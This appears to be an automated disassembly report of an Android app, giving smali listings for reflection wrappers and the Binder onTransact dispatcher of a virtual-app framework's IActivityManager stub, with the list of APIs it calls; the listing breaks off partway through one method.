                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4return-object v0
                              Cross References
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.initProcess
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.getFreeStubCount
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.getSystemPid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getUidByPid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IActivityManager$Stub.isAppProcess
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.isAppRunning
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.isAppPid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getAppProcessName
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getProcessPkgList
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.killAllApps
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.killAppByPkg
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.killApplicationProcess
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.dump
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.interfaces.IProcessObserver$Stub.asInterface
                              • com.lody.virtual.server.IActivityManager$Stub.registerProcessObserver
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.interfaces.IProcessObserver$Stub.asInterface
                              • com.lody.virtual.server.IActivityManager$Stub.unregisterProcessObserver
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getInitialPackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.handleApplicationCrash
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IActivityManager$Stub.appDoneExecuting
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcel.createTypedArray
                              • android.os.Parcel.createStringArray
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.startActivities
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.content.pm.ActivityInfo.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.os.Bundle.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.startActivity
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.onActivityCreated
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.onActivityResumed
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.onActivityDestroyed
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getActivityClassForToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.ComponentName.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getCallingPackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getCallingActivity
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.ComponentName.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getTaskInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getPackageForToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.isVAServiceToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.startService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.ComponentName.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.stopService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.stopServiceToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.app.Notification.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.setServiceForeground
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readStrongBinder
                              • android.app.IServiceConnection$Stub.asInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.bindService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.app.IServiceConnection$Stub.asInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.unbindService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.unbindFinished
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.serviceDoneExecuting
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.peekService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.publishService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.getServices
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.content.pm.ProviderInfo.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IActivityManager$Stub.acquireProviderClient
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getPendingIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IActivityManager$Stub.addPendingIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.removePendingIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.IActivityManager$Stub.getPackageForIntentSender
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IActivityManager$Stub.processRestarted
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IActivityManager$Stub.broadcastFinish
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IActivityManager$Stub.notifyBadgerChange
                              • android.os.Parcel.writeNoException
                              Strings
                              • com.lody.virtual.server.IActivityManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2const/4 v4, 0x0
                              3const/4 v9, 0x1
                              4sparse-switch p1, :sswitch_data_5fe
                              6invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              7move-result v9
                              8goto_a: return v9
                              9sswitch_b:
                              10const-string v0, "com.lody.virtual.server.IActivityManager"
                              12invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              13goto/16 :goto_a
                              14sswitch_11:
                              15const-string v0, "com.lody.virtual.server.IActivityManager"
                              17invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              19invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              20move-result-object v0
                              22invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              23move-result-object v1
                              25invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              26move-result v2
                              28invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IActivityManager$Stub;->initProcess(Ljava/lang/String;Ljava/lang/String;I)I
                              29move-result v0
                              31invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              33invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              34goto/16 :goto_a
                              35sswitch_2d:
                              36const-string v0, "com.lody.virtual.server.IActivityManager"
                              38invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              40invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getFreeStubCount()I
                              41move-result v0
                              43invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              45invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              46goto/16 :goto_a
                              47sswitch_3d:
                              48const-string v0, "com.lody.virtual.server.IActivityManager"
                              50invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              52invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getSystemPid()I
                              53move-result v0
                              55invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              57invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              58goto/16 :goto_a
                              59sswitch_4d:
                              60const-string v0, "com.lody.virtual.server.IActivityManager"
                              62invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              64invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              65move-result v0
                              67invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getUidByPid(I)I
                              68move-result v0
                              70invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              72invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              73goto/16 :goto_a
                              74sswitch_61:
                              75const-string v0, "com.lody.virtual.server.IActivityManager"
                              77invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              79invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              80move-result-object v0
                              82invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->isAppProcess(Ljava/lang/String;)Z
                              83move-result v0
                              85invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              86if-eqz v0, :cond_78
                              87move v0, v9
                              88goto_74:
                              89invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              90goto/16 :goto_a
                              91cond_78: move v0, v5
                              92goto/16 :goto_74
                              93sswitch_7a:
                              94const-string v0, "com.lody.virtual.server.IActivityManager"
                              96invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              98invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              99move-result-object v0
                              101invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              102move-result v1
                              104invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->isAppRunning(Ljava/lang/String;I)Z
                              105move-result v0
                              107invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              108if-eqz v0, :cond_91
                              109move v5, v9
                              110cond_91:
                              111invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              112goto/16 :goto_a
                              113sswitch_96:
                              114const-string v0, "com.lody.virtual.server.IActivityManager"
                              116invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              118invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              119move-result v0
                              121invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->isAppPid(I)Z
                              122move-result v0
                              124invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              125if-eqz v0, :cond_a9
                              126move v5, v9
                              127cond_a9:
                              128invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              129goto/16 :goto_a
                              130sswitch_ae:
                              131const-string v0, "com.lody.virtual.server.IActivityManager"
                              133invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              135invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              136move-result v0
                              138invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getAppProcessName(I)Ljava/lang/String;
                              139move-result-object v0
                              141invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              143invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              144goto/16 :goto_a
                              145sswitch_c3:
                              146const-string v0, "com.lody.virtual.server.IActivityManager"
                              148invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              150invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              151move-result v0
                              153invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getProcessPkgList(I)Ljava/util/List;
                              154move-result-object v0
                              156invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              158invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              159goto/16 :goto_a
                              160sswitch_d8:
                              161const-string v0, "com.lody.virtual.server.IActivityManager"
                              163invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              165invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->killAllApps()V
                              167invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              168goto/16 :goto_a
                              169sswitch_e5:
                              170const-string v0, "com.lody.virtual.server.IActivityManager"
                              172invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              174invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              175move-result-object v0
                              177invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              178move-result v1
                              180invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->killAppByPkg(Ljava/lang/String;I)V
                              182invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              183goto/16 :goto_a
                              184sswitch_fa:
                              185const-string v0, "com.lody.virtual.server.IActivityManager"
                              187invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              189invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              190move-result-object v0
                              192invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              193move-result v1
                              195invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->killApplicationProcess(Ljava/lang/String;I)V
                              197invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              198goto/16 :goto_a
                              199sswitch_10f:
                              200const-string v0, "com.lody.virtual.server.IActivityManager"
                              202invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              204invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->dump()V
                              206invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              207goto/16 :goto_a
                              208sswitch_11c:
                              209const-string v0, "com.lody.virtual.server.IActivityManager"
                              211invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              213invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              214move-result-object v0
                              216invoke-static {v0}, Lcom/lody/virtual/server/interfaces/IProcessObserver$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/server/interfaces/IProcessObserver;
                              217move-result-object v0
                              219invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->registerProcessObserver(Lcom/lody/virtual/server/interfaces/IProcessObserver;)V
                              221invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              222goto/16 :goto_a
                              223sswitch_131:
                              224const-string v0, "com.lody.virtual.server.IActivityManager"
                              226invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              228invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              229move-result-object v0
                              231invoke-static {v0}, Lcom/lody/virtual/server/interfaces/IProcessObserver$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/server/interfaces/IProcessObserver;
                              232move-result-object v0
                              234invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->unregisterProcessObserver(Lcom/lody/virtual/server/interfaces/IProcessObserver;)V
                              236invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              237goto/16 :goto_a
                              238sswitch_146:
                              239const-string v0, "com.lody.virtual.server.IActivityManager"
                              241invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              243invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              244move-result v0
                              246invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getInitialPackage(I)Ljava/lang/String;
                              247move-result-object v0
                              249invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              251invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              252goto/16 :goto_a
                              253sswitch_15b:
                              254const-string v0, "com.lody.virtual.server.IActivityManager"
                              256invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              258invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->handleApplicationCrash()V
                              260invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              261goto/16 :goto_a
                              262sswitch_168:
                              263const-string v0, "com.lody.virtual.server.IActivityManager"
                              265invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              267invoke-virtual {p0}, Lcom/lody/virtual/server/IActivityManager$Stub;->appDoneExecuting()V
                              269invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              270goto/16 :goto_a
                              271sswitch_175:
                              272const-string v0, "com.lody.virtual.server.IActivityManager"
                              274invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              276sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              278invoke-virtual {p2, v0}, Landroid/os/Parcel;->createTypedArray(Landroid/os/Parcelable$Creator;)[Ljava/lang/Object;
                              279move-result-object v1
                              280check-cast v1, [Landroid/content/Intent;
                              282invoke-virtual {p2}, Landroid/os/Parcel;->createStringArray()[Ljava/lang/String;
                              283move-result-object v2
                              285invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              286move-result-object v3
                              288invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              289move-result v0
                              290if-eqz v0, :cond_199
                              292sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              294invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              295move-result-object v0
                              296check-cast v0, Landroid/os/Bundle;
                              297move-object v4, v0
                              298cond_199:
                              299invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              300move-result v5
                              301move-object v0, p0
                              303invoke-virtual/range {v0 .. v5}, Lcom/lody/virtual/server/IActivityManager$Stub;->startActivities([Landroid/content/Intent;[Ljava/lang/String;Landroid/os/IBinder;Landroid/os/Bundle;I)I
                              304move-result v0
                              306invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              308invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              309goto/16 :goto_a
                              310sswitch_1aa:
                              311const-string v0, "com.lody.virtual.server.IActivityManager"
                              313invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              315invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              316move-result v0
                              317if-eqz v0, :cond_1f9
                              319sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              321invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              322move-result-object v0
                              323check-cast v0, Landroid/content/Intent;
                              324move-object v1, v0
                              325goto_1be:
                              326invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              327move-result v0
                              328if-eqz v0, :cond_1fb
                              330sget-object v0, Landroid/content/pm/ActivityInfo;->CREATOR:Landroid/os/Parcelable$Creator;
                              332invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              333move-result-object v0
